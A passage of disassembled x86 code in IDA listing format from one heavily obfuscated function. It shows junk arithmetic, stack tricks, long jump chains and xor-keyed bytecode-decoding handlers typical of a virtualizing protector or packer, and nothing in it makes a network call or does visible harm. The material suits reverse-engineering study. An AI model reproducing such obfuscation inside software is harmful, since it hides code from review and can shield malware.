; ---------------------------------------------------------------------------


loc_58BCB5:				; CODE XREF: sub_581EE9+6554j
		add	ecx, 598A7FAEh
		pop	ebx
		jmp	loc_587B35
; ---------------------------------------------------------------------------


loc_58BCC1:				; CODE XREF: sub_581EE9+CCB4j
					; sub_581EE9+D304j
		push	ebx
		mov	eax, [esp-6EB4h+arg_6EAC]
		push	ecx
		mov	ecx, esp
		jmp	loc_58F4A5
; ---------------------------------------------------------------------------


loc_58BCCD:				; CODE XREF: sub_581EE9+E9A3j
		shl	edi, 8
		add	edi, 88B46EA5h
		jmp	loc_58D6C7
; ---------------------------------------------------------------------------


loc_58BCDB:				; CODE XREF: sub_581EE9+58C2j
		sub	ecx, 0E614B639h
		push	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		pop	ecx
		xor	eax, ebx
		push	[esp-6EC0h+arg_6EB6+2]
		jmp	loc_5909E9
; ---------------------------------------------------------------------------


loc_58BCF6:				; CODE XREF: sub_581EE9+91F3j
		mov	[esp+0], edi
		mov	edi, 29E8444Dh
		sub	edi, 3D60702h
		add	edi, 525E365Eh
		shr	edi, 5
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp-6EB4h+arg_6EAC]
		jmp	loc_58CA7C
; ---------------------------------------------------------------------------


loc_58BD27:				; CODE XREF: sub_581EE9+E674j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BD2C:				; CODE XREF: sub_581EE9+A8D2j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BD31:				; CODE XREF: sub_581EE9+FB25j
		mov	esi, 1F1B65EBh
		push	ebp
		mov	ebp, 5ED5565Dh
		add	ebp, 262A476Ah
		add	ebp, 1A187A61h
		dec	ebp
		xor	ebp, 347311ADh
		inc	ebp
		xor	ebp, 8F0E7688h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, esi
		jmp	loc_586FAC
; ---------------------------------------------------------------------------


loc_58BD60:				; CODE XREF: sub_581EE9+E2A9j
		mov	esi, 0B43EF1D1h
		sub	edx, esi
		pop	esi
		sub	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_58A895
; ---------------------------------------------------------------------------


loc_58BD77:				; CODE XREF: sub_581EE9+8A6Bj
		or	bh, 0D0h
		xor	bh, 43h
		mov	al, bh
		pop	ebx
		add	bl, al
		jmp	loc_58DCD5
; ---------------------------------------------------------------------------


loc_58BD87:				; CODE XREF: sub_581EE9+B1F9j
		xor	esi, 43451393h
		jmp	loc_589FE9
; ---------------------------------------------------------------------------


loc_58BD92:				; CODE XREF: sub_581EE9+4C42j
		sub	al, 25h
		add	al, dl
		add	al, 25h
		mov	edx, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		jmp	loc_59087D
; ---------------------------------------------------------------------------


loc_58BDA6:				; CODE XREF: sub_581EE9+DCCCj
		inc	cl
		or	cl, 0FBh
		jmp	loc_58C24A
; ---------------------------------------------------------------------------


loc_58BDB0:				; CODE XREF: sub_581EE9+9F90j
		push	79B545BDh
		mov	ebx, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		inc	ebx
		push	eax
		mov	eax, 27BD5168h
		xor	ebx, eax
		pop	eax
		add	ebx, 0FFFFFFFFh
		xor	ebx, 5E0814D1h
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		xchg	eax, [esp-6EDEh+arg_6ED6]
		mov	esp, [esp-6EDEh+arg_6ED6]
		jmp	loc_590629
; ---------------------------------------------------------------------------


loc_58BDED:				; CODE XREF: sub_581EE9+56B8j
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		xor	esi, [esp-6ECAh+arg_6EC2]
		jmp	loc_590402
; ---------------------------------------------------------------------------


loc_58BDFB:				; CODE XREF: sub_581EE9+784Cj
		pop	ecx
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6EDEh+arg_6ED6], ebx
		jmp	loc_58FCAB
; ---------------------------------------------------------------------------


loc_58BE0D:				; CODE XREF: sub_581EE9+CCE2j
		add	edi, 4
		push	ebp
		jmp	loc_587511
; ---------------------------------------------------------------------------


loc_58BE19:				; CODE XREF: sub_581EE9+E82Dj
		push	ecx
		mov	ecx, 3B7E1AE8h
		mov	ebx, ecx
		pop	ecx
		xor	[esp-6EDAh+arg_6ED6], ebx
		jmp	loc_5919F2
; ---------------------------------------------------------------------------
		push	[esp-6EDAh+arg_6ED2]
		mov	eax, [esp-6ED6h+arg_6ECE]
		push	59EDh
		jmp	loc_58C903
; ---------------------------------------------------------------------------


loc_58BE3B:				; CODE XREF: sub_581EE9+AA9Aj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BE40:				; DATA XREF: sub_581EE9+3C4Bo
		mov	cx, word ptr [esp-6ED2h+arg_6ECA]
		push	esi
		jmp	loc_58FC00
; ---------------------------------------------------------------------------


loc_58BE4A:				; CODE XREF: sub_581EE9+4C34j
		mov	[esp-6ED2h+arg_6ECA], eax
		mov	eax, [esp-6ED2h+arg_6ECA]
		push	eax
		mov	eax, esp
		jmp	loc_588D82
; ---------------------------------------------------------------------------


loc_58BE58:				; CODE XREF: sub_581EE9+45EDj
		pop	ebx
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	edi
		jmp	loc_5911CC
; ---------------------------------------------------------------------------


loc_58BE65:				; CODE XREF: sub_581EE9+5D72j
		mov	esp, [esp-6EB6h+arg_6EAC+2]
		sub	esp, 4
		mov	[esp-6EB2h+arg_6EA8+2],	eax
		push	esp
		pop	eax
		push	ebp
		push	9D8h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		jmp	loc_58BDB0
; ---------------------------------------------------------------------------


loc_58BE7E:				; CODE XREF: sub_581EE9+8E5Aj
		push	1F9Dh
		mov	[esp-6E88h+arg_6E80], ebx
		mov	ebx, 78D54B19h
		push	esi
		mov	esi, 29DD524Ch
		xor	esi, 93E5704h
		neg	esi
		jmp	loc_58BABA
; ---------------------------------------------------------------------------


loc_58BE9E:				; CODE XREF: sub_581EE9+D511j
		pop	ecx
		dec	edi
		add	edi, 31286FA1h
		or	ecx, edi
		pop	edi
		xor	ecx, 273C664Bh
		or	esi, ecx
		jmp	loc_58C6AE
; ---------------------------------------------------------------------------


loc_58BEB6:				; CODE XREF: sub_581EE9+BFA4j
		not	ebp
		jmp	loc_58D411
; ---------------------------------------------------------------------------


loc_58BEBD:				; CODE XREF: sub_581EE9+AECCj
		mov	dh, 0DFh
		push	ecx
		jmp	loc_58FE7A
; ---------------------------------------------------------------------------


loc_58BEC5:				; CODE XREF: sub_581EE9+8DA6j
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-6F0Eh+arg_6F06], esi
		push	eax
		mov	eax, 230412A6h
		mov	esi, 0DCFBED5Eh
		add	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		xchg	edi, [esp-6F12h+arg_6F0A]
		jmp	loc_58A413
; ---------------------------------------------------------------------------


loc_58BEE7:				; CODE XREF: sub_581EE9+D2A7j
		sub	edx, 5DAAB293h
		jmp	loc_58E168
; ---------------------------------------------------------------------------


loc_58BEF2:				; CODE XREF: sub_581EE9+5F80j
		add	[esp-6EE0h+arg_6ED6+2],	4
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_5863CC
; ---------------------------------------------------------------------------


loc_58BF08:				; CODE XREF: sub_581EE9+7678j
		push	ebx
		mov	bl, dh
		jmp	loc_588C28
; ---------------------------------------------------------------------------


loc_58BF10:				; CODE XREF: sub_581EE9+A95Dj
		xor	eax, ebx
		pop	ebx
		jmp	loc_58A71C
; ---------------------------------------------------------------------------


loc_58BF18:				; CODE XREF: sub_581EE9+4402j
		pop	eax
		and	eax, ebx
		mov	ebx, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_588813
; ---------------------------------------------------------------------------


loc_58BF2A:				; CODE XREF: sub_581EE9+EF23j
		mov	esi, offset loc_6061A5
		inc	esi
		shl	esi, 5
		xor	esi, 77DA557Fh
		jmp	loc_58E428
; ---------------------------------------------------------------------------


loc_58BF3E:				; CODE XREF: sub_581EE9+CCF0j
		add	edx, ebp
		push	edi
		jmp	loc_590271
; ---------------------------------------------------------------------------


loc_58BF46:				; CODE XREF: sub_581EE9+5229j
		pop	esp
		mov	[esp-6EF4h+arg_6EEC], eax
		jmp	loc_58ABF4
; ---------------------------------------------------------------------------


loc_58BF4F:				; CODE XREF: sub_581EE9+E48Ej
		pop	eax
		push	7EB8h
		mov	[esp-6EF4h+arg_6EEC], eax
		push	[esp-6EF4h+arg_6EF0]
		pop	eax
		pop	[esp-6EF4h+arg_6EEC]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BF65:				; CODE XREF: sub_581EE9+9BE1j
		xor	ecx, 32BB72B0h
		jmp	loc_58B4EA
; ---------------------------------------------------------------------------


loc_58BF70:				; CODE XREF: sub_581EE9+A32Cj
		mov	[esp-6EBCh+arg_6EB2+2],	esi
		push	ebx
		mov	ebx, 31383A99h
		mov	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 575E5633h
		and	esi, ebp
		jmp	loc_58C6FE
; ---------------------------------------------------------------------------


loc_58BF89:				; CODE XREF: sub_581EE9+9925j
		pop	ebp
		add	ebp, 4
		jmp	loc_585D9A
; ---------------------------------------------------------------------------


loc_58BF95:				; CODE XREF: sub_581EE9+B7E8j
		mov	edi, 945FBF57h
		sub	edi, eax
		jmp	loc_590848
; ---------------------------------------------------------------------------


loc_58BFA1:				; CODE XREF: sub_581EE9+BD2Bj
		xor	dl, 80h
		sub	ch, dl
		pop	edx
		mov	bl, ch
		pop	ecx
		add	al, 4Bh
		add	al, bl
		push	ecx
		push	edx
		mov	dh, 94h
		jmp	loc_5860E3
; ---------------------------------------------------------------------------


loc_58BFB7:				; CODE XREF: sub_581EE9+B6F3j
		pop	esi
		add	esi, 4
		push	edi
		jmp	loc_58E74A
; ---------------------------------------------------------------------------


loc_58BFC4:				; CODE XREF: sub_581EE9+57A1j
		pop	ebp
		push	[esp-6F0Eh+arg_6F06]
		jmp	loc_58FF07
; ---------------------------------------------------------------------------


loc_58BFCD:				; CODE XREF: sub_581EE9+C249j
		and	eax, 37476596h
		push	esi
		mov	esi, 660E3737h
		jmp	loc_59163B
; ---------------------------------------------------------------------------


loc_58BFDD:				; CODE XREF: sub_581EE9+B389j
		shr	ecx, 3
		sub	ecx, 0B1DEFAAh
		jmp	loc_588684
; ---------------------------------------------------------------------------


loc_58BFEB:				; CODE XREF: sub_581EE9+D191j
		not	ebp
		push	54B8h
		jmp	loc_58A2A1
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: sub_581EE9+D519j
		mov	edi, 691F38B0h
		jmp	loc_58FE90
; ---------------------------------------------------------------------------


loc_58C001:				; CODE XREF: sub_581EE9+CAA5j
		pop	eax
		push	ecx
		mov	ecx, 136C69AAh
		push	4747h
		mov	[esp-6EFEh+arg_6EF6], eax
		mov	eax, 5DF82EC3h
		add	ecx, 7B7C6722h
		jmp	loc_58F68A
; ---------------------------------------------------------------------------


loc_58C020:				; CODE XREF: sub_581EE9+8CF2j
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_58FCB5
; ---------------------------------------------------------------------------


loc_58C02B:				; CODE XREF: sub_581EE9+5D33j
		push	[esp-6EB2h+arg_6EA8+2]
		jmp	loc_5888C7
; ---------------------------------------------------------------------------


loc_58C033:				; CODE XREF: sub_581EE9+79D9j
		sub	al, 0D9h
		push	ebx
		push	eax
		mov	ah, 0F7h
		shl	ah, 1
		jmp	loc_58A263
; ---------------------------------------------------------------------------


loc_58C040:				; CODE XREF: sub_581EE9+60C1j
		push	5763h
		mov	[esp-6ED2h+arg_6ECA], ebp
		push	eax
		jmp	loc_58BBFC
; ---------------------------------------------------------------------------


loc_58C04E:				; CODE XREF: sub_581EE9+69C5j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C053:				; CODE XREF: sub_581EE9+48ADj
		mov	[esp-6EF2h+arg_6EE8+2],	ecx
		mov	ch, 1
		shl	ch, 7
		jmp	loc_587025
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: sub_581EE9+C334j
		add	esp, 4
		pop	[esp-6EF6h+arg_6EEC+2]
		mov	esp, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_589406
; ---------------------------------------------------------------------------


loc_58C06E:				; CODE XREF: sub_581EE9+D4E5j
		xor	edi, 4EA57E55h
		push	ebp
		jmp	loc_58AE72
; ---------------------------------------------------------------------------


loc_58C07A:				; DATA XREF: sub_581EE9+3CBBo
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp-6EF2h+arg_6EE8+2],	edx
		mov	dh, 17h
		sub	al, 1Eh
		sub	al, dh
		push	bx
		mov	bl, 5Ah
		jmp	loc_58AF67
; ---------------------------------------------------------------------------


loc_58C092:				; CODE XREF: sub_581EE9+F9A7j
		mov	edi, eax
		mov	eax, [esp-6EF0h+arg_6EE8]
		jmp	loc_589525
; ---------------------------------------------------------------------------


loc_58C09C:				; CODE XREF: sub_581EE9+4008j
		mov	esp, [esp-6EC0h+arg_6EB6+2]
		bts	word ptr [esp-6EC0h+arg_6EB6+2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C0AA:				; CODE XREF: sub_581EE9+F7DEj
		mov	edx, [esp-6EBCh+arg_6EB2+2]
		push	edx
		jmp	loc_591BF0
; ---------------------------------------------------------------------------


loc_58C0B3:				; DATA XREF: sub_581EE9+3CD3o
		mov	cx, [esp+0]
		push	esi
		jmp	loc_58713D
; ---------------------------------------------------------------------------


loc_58C0BD:				; CODE XREF: sub_581EE9+E1C0j
		pop	ebx
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		push	4F61h
		mov	[esp-6EB4h+arg_6EAC], ecx
		jmp	loc_590B5D
; ---------------------------------------------------------------------------


loc_58C0DA:				; CODE XREF: sub_581EE9+408Bj
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 3B360177h
		inc	edx
		xor	edx, 5F980E50h
		shr	edx, 1
		add	edx, 2278117Fh
		sub	edx, 54CF190Fh
		sub	esi, edx
		pop	edx
		jmp	loc_58DCF5
; ---------------------------------------------------------------------------


loc_58C105:				; CODE XREF: sub_581EE9+C185j
		xor	ebx, 5CE4AE77h
		add	eax, 4034389Dh
		add	eax, ebx
		push	esi
		mov	esi, 62481811h
		dec	esi
		and	esi, 263D2B0Ah
		neg	esi
		shr	esi, 3
		dec	esi
		jmp	loc_5900A0
; ---------------------------------------------------------------------------


loc_58C12A:				; CODE XREF: sub_581EE9+B8B5j
		or	dh, 37h
		push	ebx
		mov	ebx, esp
		push	13Ch
		mov	[esp-6EC0h+arg_6EB6+2],	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_58FC81
; ---------------------------------------------------------------------------


loc_58C145:				; CODE XREF: sub_581EE9+98A6j
		mov	[esp-6EEAh+arg_6EE0+2],	ebp
		mov	ebp, esp
		add	ebp, 4
		push	2D5h
		mov	[esp-6EE6h+arg_6EDC+2],	edi
		jmp	loc_58A7EE
; ---------------------------------------------------------------------------


loc_58C15D:				; CODE XREF: sub_581EE9+7C82j
		add	edx, 4
		push	44ACh
		mov	[esp-6ED6h+arg_6ECE], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_591C17
; ---------------------------------------------------------------------------


loc_58C177:				; CODE XREF: sub_581EE9+E51Fj
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C180:				; CODE XREF: sub_581EE9+A71Aj
		pop	bx
		push	ebx
		mov	bh, 99h
		sub	bh, 0FFh
		shl	bh, 3
		push	eax
		mov	ah, 60h
		push	ebx
		jmp	loc_58D6BB
; ---------------------------------------------------------------------------


loc_58C194:				; CODE XREF: sub_581EE9+882Ej
		add	ebx, edx
		mov	edx, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		xor	ebx, [esp-6EDAh+arg_6ED2]
		jmp	loc_58FC49
; ---------------------------------------------------------------------------


loc_58C1A7:				; DATA XREF: sub_581EE9+3D0Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp-6EDCh+arg_6ED2+2], cl
		pushf
		jmp	loc_58EBC4
; ---------------------------------------------------------------------------


loc_58C1B7:				; CODE XREF: sub_581EE9+F114j
		sub	ecx, 547B6010h
		xor	ecx, 0D0DCBA6Ah
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp-6EDCh+arg_6ED2+2]
		mov	esp, [esp-6EDCh+arg_6ED2+2]
		jmp	loc_5917D7
; ---------------------------------------------------------------------------


loc_58C1D7:				; CODE XREF: sub_581EE9+BC4Ej
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EDCh+arg_6ED2+2]
		pop	esp
		pop	ebp
		push	edi
		push	esi
		push	3E183026h
		jmp	loc_58E6AF
; ---------------------------------------------------------------------------


loc_58C1F6:				; CODE XREF: sub_581EE9+81F1j
		mov	[esp-6E9Eh+arg_6E96], eax
		mov	ah, cl
		jmp	loc_589065
; ---------------------------------------------------------------------------


loc_58C200:				; DATA XREF: sub_581EE9+3CDFo
		mov	eax, [esp-6E9Eh+arg_6E96]
		push	35F6h
		mov	[esp-6E9Ah+arg_6E92], ecx
		jmp	loc_58B72A
; ---------------------------------------------------------------------------


loc_58C210:				; CODE XREF: sub_581EE9+E7A0j
		push	0D68h
		jmp	loc_58BF70
; ---------------------------------------------------------------------------


loc_58C21A:				; CODE XREF: sub_581EE9+E304j
		and	bh, 83h
		or	bh, 0B0h
		neg	bh
		jmp	loc_589F39
; ---------------------------------------------------------------------------


loc_58C227:				; CODE XREF: sub_581EE9+8353j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-6ECCh+arg_6EC2+2]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 66725480h
		mov	ebp, eax
		jmp	loc_58F5DD
; ---------------------------------------------------------------------------


loc_58C23C:				; CODE XREF: sub_581EE9+BD55j
		shl	ebp, 1
		push	ecx
		mov	ecx, 72BA028Ch
		push	esi
		jmp	loc_591B24
; ---------------------------------------------------------------------------


loc_58C24A:				; CODE XREF: sub_581EE9+9EC2j
		add	cl, 5Ch
		jmp	loc_591C3E
; ---------------------------------------------------------------------------


loc_58C252:				; CODE XREF: sub_581EE9+C621j
		push	edx
		push	[esp-6ED2h+arg_6ECE]
		mov	edx, [esp-6ECEh+arg_6EC6]
		add	esp, 4
		pop	[esp-6ED2h+arg_6ECA]
		jmp	loc_58EAAE
; ---------------------------------------------------------------------------


loc_58C265:				; CODE XREF: sub_581EE9+D336j
		mov	[esp-6ED6h+arg_6ECE], edi
		mov	edi, 1FCC707Ch
		jmp	loc_5897CF
; ---------------------------------------------------------------------------


loc_58C272:				; CODE XREF: sub_581EE9+6F49j
		push	eax
		mov	al, 3
		xor	al, 97h
		add	al, 32h
		jmp	loc_58BB98
; ---------------------------------------------------------------------------


loc_58C27E:				; CODE XREF: sub_581EE9+8458j
		push	edx
		push	[esp-6EEEh+arg_6EE8+2]
		pop	edx
		pop	[esp-6EEEh+arg_6EE4+2]
		jmp	loc_58F383
; ---------------------------------------------------------------------------


loc_58C28C:				; CODE XREF: sub_581EE9+4DD7j
		mov	dx, word ptr [esp-6EC2h+arg_6EBA]
		add	esp, 2
		pop	edx
		sub	bl, al
		jmp	loc_58641B
; ---------------------------------------------------------------------------


loc_58C29E:				; CODE XREF: sub_581EE9+A476j
		add	esi, ecx
		add	esi, 30D236FCh
		mov	ecx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], eax
		mov	eax, 161B3160h
		and	eax, 55D1596Eh
		jmp	loc_58B7E7
; ---------------------------------------------------------------------------


loc_58C2C4:				; CODE XREF: sub_581EE9+6A74j
		pop	esp
		push	[esp-6EFEh+arg_6EF6]
		pop	ecx
		push	3A0Ch
		jmp	loc_587908
; ---------------------------------------------------------------------------


loc_58C2D3:				; CODE XREF: sub_581EE9+CC0Cj
		or	bh, 0BFh
		sub	bh, 0FFh
		xor	bh, 0Ch
		push	small 366Ah
		mov	word ptr [esp-6EF8h+arg_6EF0], cx
		jmp	loc_58B551
; ---------------------------------------------------------------------------


loc_58C2E9:				; CODE XREF: sub_581EE9+CB7Bj
		pop	edi
		xor	ebx, eax
		mov	dx, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_587E24
; ---------------------------------------------------------------------------


loc_58C2F8:				; CODE XREF: sub_581EE9+B41Cj
		push	6230h
		mov	[esp-6EF4h+arg_6EEC], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp-6EF0h+arg_6EEC]
		mov	ebp, [esp-6EECh+arg_6EE4]
		push	780Ch
		mov	[esp-6EE8h+arg_6EE0], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_589F0E
; ---------------------------------------------------------------------------


loc_58C334:				; CODE XREF: sub_581EE9+574Aj
		xchg	eax, [esp-6F16h+arg_6F0E]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C340:				; CODE XREF: sub_581EE9+4012j
		mov	cx, word ptr [esp-6EC8h+arg_6EBE+2]
		push	610Fh
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		push	esp
		mov	esi, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	esi, 30D236FCh
		jmp	loc_58C29E
; ---------------------------------------------------------------------------


loc_58C364:				; CODE XREF: sub_581EE9+5728j
		xor	eax, esi
		jmp	loc_58910A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6F0Eh+arg_6F06]
		push	edi
		push	eax
		mov	eax, esp
		jmp	loc_5891FD
; ---------------------------------------------------------------------------


loc_58C378:				; CODE XREF: sub_581EE9+B25Dj
		sub	ecx, 75106257h
		add	ecx, 0AF04BA17h
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_58C9CC
; ---------------------------------------------------------------------------


loc_58C395:				; CODE XREF: sub_581EE9+C703j
		push	475Bh
		mov	[esp-6F06h+arg_6EFE], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_585E13
; ---------------------------------------------------------------------------


loc_58C3AB:				; CODE XREF: sub_581EE9+AF4Cj
		sub	eax, 17275FE6h
		add	eax, ebx
		add	eax, 17275FE6h
		jmp	loc_58D30A
; ---------------------------------------------------------------------------


loc_58C3BC:				; DATA XREF: sub_581EE9+3CB3o
		lodsd
		xor	eax, ebx
		push	ebp
		mov	ebp, 59A95D2Eh
		push	edi
		mov	edi, 52C508EEh
		xor	ebp, edi
		pop	edi
		jmp	loc_58810D
; ---------------------------------------------------------------------------


loc_58C3D3:				; CODE XREF: sub_581EE9+D2C1j
		mov	edi, [esp-6EFEh+arg_6EF6]
		push	ecx
		jmp	loc_590B23
; ---------------------------------------------------------------------------


loc_58C3DC:				; CODE XREF: sub_581EE9+F3B6j
		pop	ecx
		add	ah, 0FFh
		jmp	loc_58A0DF
; ---------------------------------------------------------------------------


loc_58C3E5:				; CODE XREF: sub_581EE9+C32Cj
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FDFA
; ---------------------------------------------------------------------------


loc_58C3F4:				; CODE XREF: sub_581EE9+D3F5j
		add	esi, eax
		pop	eax
		mov	ecx, esi
		mov	esi, [esp-6F02h+arg_6EFA]
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		jmp	loc_585F5C
; ---------------------------------------------------------------------------


loc_58C40A:				; CODE XREF: sub_581EE9+DE8Bj
		add	esp, 4
		jmp	loc_589FC7
; ---------------------------------------------------------------------------


loc_58C415:				; CODE XREF: sub_581EE9+F755j
		mov	esi, eax
		pop	eax
		jmp	loc_58B383
; ---------------------------------------------------------------------------


loc_58C41D:				; DATA XREF: sub_581EE9+3D1Bo
		lodsb
		push	edx
		jmp	loc_589DE4
; ---------------------------------------------------------------------------


loc_58C424:				; CODE XREF: sub_581EE9+F309j
		add	ebx, 4
		jmp	loc_589B1C
; ---------------------------------------------------------------------------


loc_58C42F:				; CODE XREF: sub_581EE9+588Ej
		push	68D9h
		mov	[esp-6EC4h+arg_6EBA+2],	edx
		mov	edx, 4
		sub	ebp, 3A6B0133h
		sub	ebp, 18BA2CAAh
		add	ebp, edx
		jmp	loc_58B59E
; ---------------------------------------------------------------------------


loc_58C44F:				; CODE XREF: sub_581EE9+3F12j
		mov	edx, 7E1A70E3h
		or	edx, 69033382h
		neg	edx
		jmp	loc_5860A6
; ---------------------------------------------------------------------------


loc_58C461:				; CODE XREF: sub_581EE9+C6FBj
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		push	[esp-6EDCh+arg_6ED2+2]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58726A
; ---------------------------------------------------------------------------


loc_58C47D:				; CODE XREF: sub_581EE9+F4B2j
		sub	ebp, 18DE32FDh
		push	esi
		mov	esi, 65343402h
		xor	esi, 13097F15h
		push	ebp
		mov	ebp, 734C5DD7h
		dec	ebp
		and	ebp, 3F2C3CB6h
		shl	ebp, 1
		xor	ebp, 701EC073h
		sub	esi, ebp
		mov	ebp, [esp-6ED0h+arg_6EC6+2]
		add	esp, 4
		sub	ebp, esi
		pop	esi
		or	ebp, 59540919h
		sub	ebp, 89D03220h
		sub	ebx, 0CBD011Ch
		sub	ebx, ebp
		jmp	loc_5897E0
; ---------------------------------------------------------------------------


loc_58C4CB:				; CODE XREF: sub_581EE9+E6DAj
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_58A8F6
; ---------------------------------------------------------------------------


loc_58C4D5:				; CODE XREF: sub_581EE9+AC32j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6ED4h+arg_6ECA+2]
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C4E7:				; CODE XREF: sub_581EE9+6392j
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	ebx
		dec	[esp-6EC8h+arg_6EBE+2]
		pop	ebx
		sub	ebx, 1
		push	ecx
		jmp	loc_58AFF5
; ---------------------------------------------------------------------------


loc_58C4FD:				; CODE XREF: sub_581EE9+BF23j
		dec	ebp
		neg	ebp
		jmp	loc_5887E0
; ---------------------------------------------------------------------------


loc_58C505:				; CODE XREF: sub_581EE9+C991j
		shr	ebp, 1
		push	esi
		push	43484BC2h
		pop	esi
		xor	ebp, esi
		jmp	loc_591B3E
; ---------------------------------------------------------------------------


loc_58C515:				; CODE XREF: sub_581EE9+52B6j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C51A:				; CODE XREF: sub_581EE9+91A7j
		add	al, 0F0h
		push	bx
		mov	bh, 18h
		push	ecx
		jmp	loc_590787
; ---------------------------------------------------------------------------


loc_58C526:				; CODE XREF: sub_581EE9+44CDj
		pop	edi
		sub	esp, 4
		jmp	loc_590B67
; ---------------------------------------------------------------------------


loc_58C52F:				; CODE XREF: sub_581EE9+E471j
		add	edi, 4FD0574h
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp-6EECh+arg_6EE4]
		add	esp, 4
		push	edx
		mov	edx, 344059E9h
		xor	edx, 2CF16544h
		jmp	loc_5872DB
; ---------------------------------------------------------------------------


loc_58C554:				; CODE XREF: sub_581EE9+C21Ej
		pop	ebp
		push	ecx
		push	[esp-6EECh+arg_6EE8]
		pop	ecx
		jmp	loc_58CBA3
; ---------------------------------------------------------------------------


loc_58C560:				; CODE XREF: sub_581EE9+6398j
		push	ecx
		mov	cl, 0B0h
		not	cl
		shl	cl, 5
		jmp	loc_586047
; ---------------------------------------------------------------------------


loc_58C56D:				; CODE XREF: sub_581EE9+805Dj
		sub	bh, ch
		pop	ecx
		sub	dl, bh
		pop	ebx
		jmp	loc_58F25A
; ---------------------------------------------------------------------------


loc_58C578:				; CODE XREF: sub_581EE9+B0F2j
		xor	esi, 4CCF4F09h
		dec	esi
		jmp	loc_58693E
; ---------------------------------------------------------------------------


loc_58C584:				; CODE XREF: sub_581EE9+D5F8j
		pop	ebp
		push	edx
		jmp	loc_58E6C4
; ---------------------------------------------------------------------------


loc_58C58B:				; CODE XREF: sub_581EE9+A9D3j
		pop	edi
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_587EE5
; ---------------------------------------------------------------------------


loc_58C594:				; CODE XREF: sub_581EE9+778Aj
		push	0D7Fh
		mov	[esp-6ED2h+arg_6ECA], edx
		jmp	loc_588A26
; ---------------------------------------------------------------------------


loc_58C5A1:				; CODE XREF: sub_581EE9+5937j
		mov	edx, 270321DFh
		xor	ebp, edx
		mov	edx, [esp-6EC4h+arg_6EBA+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5898F8
; ---------------------------------------------------------------------------


loc_58C5B9:				; CODE XREF: sub_581EE9+CAC9j
		add	esi, 18244295h
		sub	esi, edi
		sub	esi, 18244295h
		mov	edi, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		and	eax, esi
